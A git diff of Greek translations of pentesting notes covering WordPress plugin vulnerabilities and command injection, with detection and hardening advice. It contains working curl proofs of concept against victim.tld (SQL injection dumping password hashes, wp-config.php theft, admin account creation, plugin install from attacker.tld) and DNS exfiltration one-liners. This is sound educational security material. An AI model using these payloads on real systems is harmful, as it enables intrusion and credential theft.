μπορεί να ανακτήσει από μια δημόσια σελίδα που ενσωματώνει το shortcode `[wpjobportal_my_resumes]`. #### Εκμετάλλευση @@ -620,7 +620,7 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM " ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` -2. Κατάχρηση του `parentid` για εισαγωγή αυθαίρετου SQL: +2. Εισήγαγε αυθαίρετο SQL εκμεταλλευόμενος το `parentid`: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ @@ -628,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -Η απάντηση αποκαλύπτει το αποτέλεσμα του εγχεόμενου query ή αλλάζει τη βάση δεδομένων, αποδεικνύοντας SQLi. +Η απόκριση αποκαλύπτει το αποτέλεσμα του εισαγόμενου query ή τροποποιεί τη βάση δεδομένων, αποδεικνύοντας SQLi. -### Μη πιστοποιημένη Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) +### Μη-εξουσιοδοτημένο Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -Άλλη λειτουργία, **downloadcustomfile**, επέτρεπε στους επισκέπτες να κατεβάσουν **οποιοδήποτε αρχείο στο δίσκο** μέσω path traversal. Ο ευάλωτος sink βρίσκεται στο `modules/customfield/model.php::downloadCustomUploadedFile()`: +Μια ακόμα εργασία, **downloadcustomfile**, επέτρεπε σε επισκέπτες να κατεβάσουν **οποιοδήποτε αρχείο στον δίσκο** μέσω path traversal. Το ευάλωτο sink βρίσκεται στο `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` είναι attacker-controlled και συγχωνεύεται **without sanitisation**. Ξανά, το μόνο εμπόδιο είναι ένα **CSRF nonce** που μπορεί να ανακτηθεί από τη σελίδα βιογραφικού. +`$file_name` ελέγχεται από attacker και συνενώνεται χωρίς καθαρισμό. Ξανά, το μόνο εμπόδιο είναι ένα **CSRF nonce** που μπορεί να ανακτηθεί από τη σελίδα resume. #### Εκμετάλλευση ```bash @@ -650,11 +650,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -Ο διακομιστής αποκρίνεται με τα περιεχόμενα του `wp-config.php`, leaking DB credentials and auth keys. +Ο διακομιστής απαντά με τα περιεχόμενα του `wp-config.php`, leaking DB credentials and auth keys. -## Ανώνυμη ανάληψη λογαριασμού μέσω Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) +## Αναλήψη λογαριασμού χωρίς πιστοποίηση μέσω Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) -Πολλά themes/plugins παρέχουν "social login" helpers εκτεθειμένους μέσω admin-ajax.php. Αν μια μη-επαληθευμένη AJAX ενέργεια (wp_ajax_nopriv_...) εμπιστεύεται client-supplied identifiers όταν τα δεδομένα του provider λείπουν και στη συνέχεια καλεί wp_set_auth_cookie(), αυτό μετατρέπεται σε πλήρη authentication bypass. +Πολλά themes/plugins περιλαμβάνουν "social login" βοηθήματα που εκτίθενται μέσω admin-ajax.php. Εάν μια μη-πιστοποιημένη AJAX ενέργεια (wp_ajax_nopriv_...) εμπιστεύεται τα identifiers που παρέχονται από τον client όταν λείπουν τα δεδομένα του provider και στη συνέχεια καλεί wp_set_auth_cookie(), αυτό γίνεται πλήρης παράκαμψη αυθεντικοποίησης. Τυπικό ελαττωματικό μοτίβο (απλοποιημένο) ```php @@ -687,15 +687,15 @@ wp_send_json(['status' => 'not_user']); ``` Γιατί είναι εκμεταλλεύσιμο -- Προσβάσιμο χωρίς έλεγχο ταυτότητας μέσω admin-ajax.php (wp_ajax_nopriv_… action). +- Πρόσβαση χωρίς αυθεντικοποίηση μέσω admin-ajax.php (ενέργεια wp_ajax_nopriv_…). - Δεν υπάρχουν έλεγχοι nonce/capability πριν από αλλαγή κατάστασης. -- Έλλειψη επαλήθευσης OAuth/OpenID provider· το default branch αποδέχεται είσοδο του επιτιθέμενου. -- get_user_by('email', $_POST['id']) ακολουθούμενο από wp_set_auth_cookie($uid) αυθεντικοποιεί τον αιτούντα ως οποιαδήποτε υπάρχουσα διεύθυνση email. +- Λείπει η επαλήθευση του OAuth/OpenID provider· το προεπιλεγμένο branch δέχεται είσοδο από τον επιτιθέμενο. +- get_user_by('email', $_POST['id']) ακολουθούμενη από wp_set_auth_cookie($uid) αυθεντικοποιεί τον αιτούντα ως οποιαδήποτε υπάρχουσα διεύθυνση email. -Εκμετάλλευση (χωρίς πιστοποίηση) +Εκμετάλλευση (χωρίς αυθεντικοποίηση) -- Προαπαιτούμενα: ο επιτιθέμενος μπορεί να προσπελάσει /wp-admin/admin-ajax.php και γνωρίζει/μαντεύει μια έγκυρη διεύθυνση email χρήστη. -- Ορίστε τον provider σε μια μη υποστηριζόμενη τιμή (ή παραλείψτε τον) για να ενεργοποιηθεί το default branch και να περάσετε id=. +- Προαπαιτούμενα: ο επιτιθέμενος μπορεί να προσεγγίσει /wp-admin/admin-ajax.php και γνωρίζει/μαντεύει ένα έγκυρο email χρήστη. +- Ορίστε provider σε μια μη-υποστηριζόμενη τιμή (ή παραλείψτε το) για να φτάσετε στο προεπιλεγμένο branch και να περάσετε id=. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: victim.tld @@ -708,35 +708,35 @@ action=&using=bogus&id=admin%40example.com curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ -d "action=&using=bogus&id=admin%40example.com" ``` -Αναμενόμενοι δείκτες επιτυχίας +Expected success indicators -- HTTP 200 με JSON σώμα όπως {"status":"success","message":"Login successfully."}. -- Set-Cookie: wordpress_logged_in_* για τον χρήστη-θύμα· οι επακόλουθες αιτήσεις είναι αυθεντικοποιημένες. +- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}. +- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated. -Εύρεση του ονόματος της ενέργειας +Finding the action name -- Ελέγξτε το theme/plugin για καταχωρίσεις add_action('wp_ajax_nopriv_...', '...') στον κώδικα social login (π.χ., framework/add-ons/social-login/class-social-login.php). -- Χρησιμοποιήστε grep για wp_set_auth_cookie(), get_user_by('email', ...) μέσα σε χειριστές AJAX. +- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php). +- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers. -Λίστα ελέγχου ανίχνευσης +Detection checklist -- Web logs που δείχνουν μη-αυθεντικοποιημένα POSTs προς /wp-admin/admin-ajax.php με το action social-login και id=. -- Απαντήσεις 200 με το success JSON αμέσως πριν από αυθεντικοποιημένη κίνηση από την ίδια IP/User-Agent. +- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=. +- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent. -Σκληροποίηση +Hardening -- Μην προκύπτει η ταυτότητα από είσοδο του client. Αποδεχτείτε μόνο emails/IDs που προέρχονται από επικυρωμένο provider token/ID. -- Απαιτήστε CSRF nonces και ελέγχους δυνατοτήτων (capability checks) ακόμη και για login helpers· αποφύγετε την εγγραφή wp_ajax_nopriv_ εκτός αν είναι απολύτως αναγκαίο. -- Επικυρώστε και επαληθεύστε server-side τις απαντήσεις OAuth/OIDC· απορρίψτε απουσία/μη έγκυρους providers (μην κάνετε fallback σε POST id). -- Σκεφτείτε προσωρινή απενεργοποίηση του social login ή virtual patching στο edge (block the vulnerable action) μέχρι να διορθωθεί. +- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID. +- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary. +- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id). +- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed. Patched behaviour (Jobmonster 4.8.0) -- Αφαιρέθηκε το μη ασφαλές fallback από $_POST['id']; $user_email πρέπει να προέρχεται από verified provider branches στο switch($_POST['using']). +- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']). -## Μη αυθεντικοποιημένη κλιμάκωση προνομίων μέσω REST token/key minting σε προβλέψιμη ταυτότητα (OttoKit/SureTriggers ≤ 1.0.82) +## Αναβάθμιση προνομίων χωρίς αυθεντικοποίηση μέσω δημιουργίας REST token/κλειδιού πάνω σε προβλέψιμη ταυτότητα (OttoKit/SureTriggers ≤ 1.0.82) -Ορισμένα plugins εκθέτουν REST endpoints που δημιουργούν επαναχρησιμοποιήσιμα “connection keys” ή tokens χωρίς να επαληθεύουν τις δυνατότητες (capabilities) του καλούντος. Αν η διαδρομή (route) αυθεντικοποιεί μόνο με ένα προβλέψιμο χαρακτηριστικό (π.χ., username) και δεν δένει το key σε χρήστη/σέσσιο με ελέγχους δυνατοτήτων, οποιοσδήποτε μη-αυθεντικοποιημένος επιτιθέμενος μπορεί να δημιουργήσει ένα key και να καλέσει προνομιούχες ενέργειες (δημιουργία admin account, plugin actions → RCE). +Κάποια plugins εκθέτουν REST endpoints που δημιουργούν επαναχρησιμοποιήσιμα “connection keys” ή tokens χωρίς να επαληθεύουν τις δυνατότητες (capabilities) του καλούντος. Εάν το route πραγματοποιεί authentication μόνο βάσει ενός προβλέψιμου/μπορούμενου να μαντέψουμε χαρακτηριστικού (π.χ. username) και δεν δεσμεύει το κλειδί σε user/session με έλεγχο δικαιωμάτων, οποιοσδήποτε μη-αυθεντικοποιημένος επιτιθέμενος μπορεί να δημιουργήσει ένα κλειδί και να καλέσει προνομιούχες ενέργειες (π.χ. δημιουργία admin account, plugin actions → RCE). - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection - Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback @@ -756,54 +756,54 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ -H 'X-Connection-Key: ' \ --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' ``` -Γιατί είναι εκμεταλλεύσιμο -- Ευαίσθητη REST route προστατευμένη μόνο από απόδειξη ταυτότητας χαμηλής εντροπίας (username) ή χωρίς permission_callback -- Καμία επιβολή capability; το minted key γίνεται αποδεκτό ως καθολική παράκαμψη +Why it’s exploitable +- Ευαίσθητο REST route προστατευμένο μόνο από low-entropy απόδειξη ταυτότητας (username) ή με έλλειψη permission_callback +- Δεν υπάρχει επιβολή capability; το minted key γίνεται αποδεκτό ως καθολική παράκαμψη -Λίστα ελέγχου εντοπισμού -- Ψάξτε στον κώδικα του plugin για register_rest_route(..., [ 'permission_callback' => '__return_true' ]) -- Οποιαδήποτε route που εκδίδει tokens/keys βάσει ταυτότητας που παρέχεται στο request (username/email) χωρίς να τη συνδέει με επικυρωμένο χρήστη ή capability -- Αναζητήστε μετέπειτα routes που αποδέχονται το minted token/key χωρίς ελέγχους capability στην πλευρά του server +Detection checklist +- Κάντε grep στον κώδικα του plugin για register_rest_route(..., [ 'permission_callback' => '__return_true' ]) +- Οποιοδήποτε route που εκδίδει tokens/keys με βάση identity που παρέχεται στο request (username/email) χωρίς σύνδεση με authenticated user ή capability +- Αναζητήστε μετέπειτα routes που αποδέχονται το minted token/key χωρίς server-side ελέγχους capability -Σκληρυνση -- Για κάθε privileged REST route: απαιτήστε permission_callback που επιβάλλει current_user_can() για την απαιτούμενη capability -- Μην εκδίδετε long-lived keys από ταυτότητα που παρέχει ο client; αν χρειάζεται, εκδώστε short-lived, user-bound tokens μετά από authentication και επανελέγχετε τις capabilities κατά τη χρήση -- Επικυρώστε το user context του καλούντος (wp_set_current_user είναι από μόνο του ανεπαρκές) και απορρίψτε αιτήματα όπου !is_user_logged_in() || !current_user_can() +Hardening +- Για οποιοδήποτε privileged REST route: απαιτήστε permission_callback που επιβάλει current_user_can() για την απαιτούμενη capability +- Μην εκδίδετε long-lived keys από client-supplied identity; αν χρειάζεται, εκδώστε short-lived, user-bound tokens μετά από authentication και ελέγξτε ξανά τις capabilities κατά τη χρήση +- Επικυρώστε το user context του καλούντα (wp_set_current_user is not sufficient alone) και απορρίψτε requests όπου !is_user_logged_in() || !current_user_can() --- ## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3) -Τα Nonces αποτρέπουν CSRF, όχι την εξουσιοδότηση. Αν ο κώδικας θεωρεί την επιβεβαίωση ενός nonce ως πράσινο φως και παρακάμπτει τους ελέγχους capability για προνομιούχες ενέργειες (π.χ. install/activate plugins), μη αυθεντικοποιημένοι επιτιθέμενοι μπορούν να ικανοποιήσουν μια αδύναμη απαίτηση nonce και να φτάσουν σε RCE εγκαθιστώντας ένα backdoored ή ευάλωτο plugin. +Nonce αποτρέπουν CSRF, όχι authorization. Εάν ο κώδικας χειρίζεται το πέρασμα ενός nonce ως πράσινο φως και στη συνέχεια παραλείπει τους ελέγχους capability για privileged operations (π.χ., install/activate plugins), μη-επαληθευμένοι επιτιθέμενοι μπορούν να ικανοποιήσουν μια αδύναμη απαίτηση nonce και να φτάσουν σε RCE εγκαθιστώντας ένα backdoored ή ευάλωτο plugin. -- Ευάλωτο μονοπάτι: plugin/install_and_activate -- Σφάλμα: ασθενής έλεγχος nonce hash; δεν υπάρχει current_user_can('install_plugins'|'activate_plugins') μόλις το nonce “περάσει” -- Επίπτωση: πλήρης παραβίαση μέσω αυθαίρετης εγκατάστασης/ενεργοποίησης plugin +- Vulnerable path: plugin/install_and_activate +- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” +- Impact: full compromise via arbitrary plugin install/activation -PoC (το σχήμα εξαρτάται από το plugin; ενδεικτικό μόνο) +PoC (shape depends on plugin; illustrative only) ```bash curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_activate \ -H 'Content-Type: application/json' \ --data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' ``` Detection checklist -- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check -- Any code path that sets $skip_caps = true after nonce validation +- REST/AJAX handlers που τροποποιούν plugins/themes και χρησιμοποιούν μόνο wp_verify_nonce()/check_admin_referer() χωρίς capability check +- Οποιοδήποτε code path που θέτει $skip_caps = true μετά από nonce validation Hardening -- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state -- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code -- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows +- Πάντα θεωρείτε τα nonces μόνο ως CSRF tokens· επιβάλλετε capability checks ανεξαρτήτως της κατάστασης του nonce +- Απαιτήστε current_user_can('install_plugins') και current_user_can('activate_plugins') πριν από τον installer code +- Απορρίψτε μη αυθεντικοποιημένη πρόσβαση· αποφύγετε την έκθεση nopriv AJAX actions για privileged flows --- -## SQLi χωρίς αυθεντικοποίηση μέσω της παραμέτρου s (search) σε depicter-* actions (Depicter Slider ≤ 3.6.1) +## Μη αυθεντικοποιημένο SQLi μέσω της παραμέτρου s (search) στις depicter-* actions (Depicter Slider ≤ 3.6.1) -Πολλές depicter-* actions κατανάλωσαν την παράμετρο s (search) και τη συνέδεσαν σε ερωτήματα SQL χωρίς παραμετροποίηση. +Πολλές depicter-* actions κατανάλωσαν την παράμετρο s (search) και τη συνέδεσαν σε SQL queries χωρίς παραμετροποίηση. -- Παράμετρος: s (search) -- Ελάττωμα: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization -- Επίπτωση: database exfiltration (users, hashes), lateral movement +- Parameter: s (search) +- Flaw: άμεση σύνδεση συμβολοσειρών σε WHERE/LIKE clauses; δεν χρησιμοποιήθηκαν prepared statements ή sanitization +- Impact: database exfiltration (users, hashes), lateral movement PoC ```bash @@ -813,49 +813,49 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" ``` Detection checklist -- Ψάξτε με grep για depicter-* action handlers και για την άμεση χρήση των $_GET['s'] ή $_POST['s'] σε SQL -- Ελέγξτε custom queries που δίνονται στο $wpdb->get_results()/query() όταν γίνεται concatenation με s +- Ψάξτε με grep για depicter-* action handlers και για απευθείας χρήση του $_GET['s'] ή του $_POST['s'] στο SQL +- Ελέγξτε τα custom queries που περνιούνται στο $wpdb->get_results()/query() όπου γίνεται concatenation με το s Hardening -- Χρησιμοποιείτε πάντα $wpdb->prepare() ή wpdb placeholders· απορρίψτε μη αναμενόμενους μεταχαρακτήρες στην πλευρά του server -- Προσθέστε αυστηρή allowlist για το s και κανονικοποιήστε στο αναμενόμενο charset/μήκος +- Χρησιμοποιείτε πάντα $wpdb->prepare() ή wpdb placeholders· απορρίπτετε μη αναμενόμενους metacharacters στο server-side +- Προσθέστε αυστηρή allowlist για το s και κανονικοποιήστε στο αναμενόμενο charset/length --- -## Unauthenticated Local File Inclusion μέσω μη-επαληθευμένου template/file path (Kubio AI Page Builder ≤ 2.5.1) +## Unauthenticated Local File Inclusion μέσω μη-επικυρωμένης διαδρομής template/file (Kubio AI Page Builder ≤ 2.5.1) -Η αποδοχή paths ελεγχόμενων από attacker σε παράμετρο template χωρίς κανονικοποίηση/περιορισμό επιτρέπει την ανάγνωση αυθαίρετων τοπικών αρχείων, και μερικές φορές εκτέλεση κώδικα αν includable PHP/log αρχεία φορτωθούν στο runtime. +Η αποδοχή attacker-controlled διαδρομών σε ένα template parameter χωρίς normalization/containment επιτρέπει την ανάγνωση αυθαίρετων τοπικών αρχείων, και μερικές φορές εκτέλεση κώδικα αν includable PHP/log αρχεία φορτωθούν στη runtime. - Parameter: __kubio-site-edit-iframe-classic-template -- Flaw: no normalization/allowlisting; traversal permitted -- Impact: αποκάλυψη μυστικών (wp-config.php), πιθανό RCE σε συγκεκριμένα περιβάλλοντα (log poisoning, includable PHP) +- Flaw: χωρίς normalization/allowlisting; επιτρέπεται traversal +- Impact: αποκάλυψη secret (wp-config.php), πιθανό RCE σε συγκεκριμένα περιβάλλοντα (log poisoning, includable PHP) PoC – ανάγνωση wp-config.php ```bash curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" ``` -Λίστα ελέγχου ανίχνευσης -- Οποιοσδήποτε handler που συνενώνει request paths σε include()/require()/read sinks χωρίς περιορισμό μέσω realpath() -- Αναζητήστε μοτίβα traversal (../) που φτάνουν έξω από τον προοριζόμενο φάκελο templates +Detection checklist +- Any handler concatenating request paths into include()/require()/read sinks without realpath() containment +- Look for traversal patterns (../) reaching outside the intended templates directory -Σκληροποίηση -- Επιβάλετε allowlisted templates; επιλύστε με realpath() και απαιτήστε str_starts_with(realpath(file), realpath(allowed_base)) -- Κανονικοποιήστε τα εισερχόμενα· απορρίψτε ακολουθίες traversal και απόλυτες διαδρομές· χρησιμοποιήστε sanitize_file_name() μόνο για ονόματα αρχείων (όχι για πλήρεις διαδρομές) +Hardening +- Enforce allowlisted templates; resolve with realpath() and require str_starts_with(realpath(file), realpath(allowed_base)) +- Normalize input; reject traversal sequences and absolute paths; use sanitize_file_name() only for filenames (not full paths) ## Αναφορές - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) -- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) -- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) +- [Πολλαπλές κρίσιμες ευπάθειες επιδιορθώθηκαν στο WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) +- [Σπάνια περίπτωση Privilege Escalation στο ASE Plugin που επηρέασε 100k+ sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) - [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php) -- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/) +- [Έλεγχος ασφάλειας hosting: 87.8% των vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/) - [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability) -- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/) +- [Hackers εκμεταλλεύονται κρίσιμο WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/) - [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/) - [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability) - [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/) -- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/) +- [Οι πιο εκμεταλλευμένες ευπάθειες WordPress του Q3 2025 και πώς το RapidMitigate τις μπλόκαρε](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/) - [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability) - [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability) - [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability) diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 95e53a336..56cb52605 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -8,7 +8,7 @@ ### Πλαίσιο -Ανάλογα με το **πού εγχέεται το input σας** μπορεί να χρειαστεί να **τερματίσετε το quoted context** (χρησιμοποιώντας `"` ή `'`) πριν τις εντολές. +Ανάλογα με **πού εισάγεται το input σας** μπορεί να χρειαστεί να **τερματίσετε το πλαίσιο που περικλείεται σε εισαγωγικά** (χρησιμοποιώντας `"` ή `'`) πριν από τις εντολές. ## Command Injection/Execution ```bash @@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **Limition** Bypasses -Αν προσπαθείτε να εκτελέσετε **arbitrary commands inside a linux machine** θα σας ενδιαφέρει να διαβάσετε για αυτά τα **Bypasses:** +Αν προσπαθείτε να εκτελέσετε **arbitrary commands inside a linux machine** θα σας ενδιαφέρει να διαβάσετε για αυτές τις **Bypasses:** {{#ref}} @@ -91,7 +91,7 @@ sys 0m0.000s ``` ### DNS based data exfiltration -Βασισμένο στο εργαλείο από `https://github.com/HoLyVieR/dnsbin` που φιλοξενείται επίσης στο dnsbin.zhack.ca +Βασισμένο στο εργαλείο από `https://github.com/HoLyVieR/dnsbin` που επίσης φιλοξενείται στο dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Online εργαλεία για να ελέγξετε για DNS based data exfiltration: +Διαδικτυακά εργαλεία για να ελέγξετε για DNS based data exfiltration: - dnsbin.zhack.ca - pingb.in @@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Κατά τον έλεγχο backend εφαρμογών σε JavaScript/TypeScript, συχνά θα συναντήσετε το Node.js `child_process` API. +Κατά τον έλεγχο εφαρμογών back-end σε JavaScript/TypeScript, συχνά θα συναντήσετε το Node.js `child_process` API. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` εκκινεί ένα **shell** (`/bin/sh -c`), επομένως οποιοσδήποτε χαρακτήρας που έχει ειδικό νόημα για το shell (back-ticks, `;`, `&&`, `|`, `$()`, …) θα οδηγήσει σε **command injection** όταν η είσοδος του χρήστη συγχωνεύεται σε μια συμβολοσειρά. +`exec()` δημιουργεί ένα **shell** (`/bin/sh -c`), επομένως οποιοσδήποτε χαρακτήρας που έχει ειδική σημασία για το shell (back-ticks, `;`, `&&`, `|`, `$()`, …) θα οδηγήσει σε **command injection** όταν η είσοδος χρήστη συγκολληθεί στη συμβολοσειρά. -**Αντιμετώπιση:** χρησιμοποιήστε `execFile()` (ή `spawn()` χωρίς την επιλογή `shell`) και παρέχετε **κάθε όρισμα ως ξεχωριστό στοιχείο πίνακα** ώστε να μην εμπλέκεται shell: +**Αντιμετώπιση:** χρησιμοποιήστε `execFile()` (ή `spawn()` χωρίς την επιλογή `shell`) και παρέχετε **κάθε όρισμα ως ξεχωριστό στοιχείο πίνακα** ώστε να μην εμπλέκεται shell: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,25 +140,25 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Πραγματική περίπτωση: *Synology Photos* ≤ 1.7.0-0794 ήταν εκτεθειμένο μέσω ενός μη πιστοποιημένου WebSocket event που τοποθέτησε attacker controlled δεδομένα στο `id_user` τα οποία αργότερα ενσωματώθηκαν σε μια κλήση `exec()`, επιτυγχάνοντας RCE (Pwn2Own Ireland 2024). +Real-world case: *Synology Photos* ≤ 1.7.0-0794 ήταν εκμεταλλεύσιμο μέσω ενός μη-επαληθευμένου WebSocket γεγονότος που τοποθετούσε δεδομένα ελεγχόμενα από attacker στο `id_user` τα οποία αργότερα ενσωματώθηκαν σε κλήση `exec()`, επιτυγχάνοντας RCE (Pwn2Own Ireland 2024). ### Argument/Option injection via leading hyphen (argv, no shell metacharacters) -Δεν απαιτούν όλες οι εγχύσεις shell metacharacters. Αν η εφαρμογή περνάει μη αξιόπιστες συμβολοσειρές ως ορίσματα σε ένα system utility (ακόμα και με `execve`/`execFile` και χωρίς shell), πολλά προγράμματα θα εξακολουθούν να αναλύουν οποιοδήποτε όρισμα που ξεκινά με `-` ή `--` ως επιλογή. Αυτό επιτρέπει σε έναν attacker να αλλάξει λειτουργίες, να αλλάξει μονοπάτια εξόδου ή να ενεργοποιήσει επικίνδυνες συμπεριφορές χωρίς ποτέ να εισέλθει σε ένα shell. +Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell. -Τυπικά σημεία όπου αυτό εμφανίζεται: +Τυπικά σημεία όπου εμφανίζεται: -- Embedded web UIs/CGI handlers που κατασκευάζουν εντολές όπως `ping `, `tcpdump -i -w `, `curl `, κ.λπ. -- Centralized CGI routers (π.χ. `/cgi-bin/.cgi` με παράμετρο selector όπως `topicurl=`) όπου πολλαπλοί handlers επαναχρησιμοποιούν τον ίδιο αδύναμο validator. +- Ενσωματωμένα web UIs/CGI handlers που κατασκευάζουν εντολές όπως `ping `, `tcpdump -i -w `, `curl `, κ.λπ. +- Κεντρικοί CGI routers (π.χ., `/cgi-bin/.cgi` με παράμετρο selector όπως `topicurl=`) όπου πολλαπλοί handlers επαναχρησιμοποιούν τον ίδιο αδύναμο validator. Τι να δοκιμάσετε: -- Δώστε τιμές που ξεκινούν με `-`/`--` για να καταναλωθούν ως flags από το downstream tool. -- Κακομεταχειριστείτε flags που αλλάζουν συμπεριφορά ή γράφουν αρχεία, για παράδειγμα: -- `ping`: `-f`/`-c 100000` για να καταπονήσετε τη συσκευή (DoS) -- `curl`: `-o /tmp/x` για να γράψετε σε αυθαίρετα μονοπάτια, `-K ` για να φορτώσετε attacker-controlled config -- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` για να επιτύχετε post-rotate execution σε unsafe wrappers -- Αν το πρόγραμμα 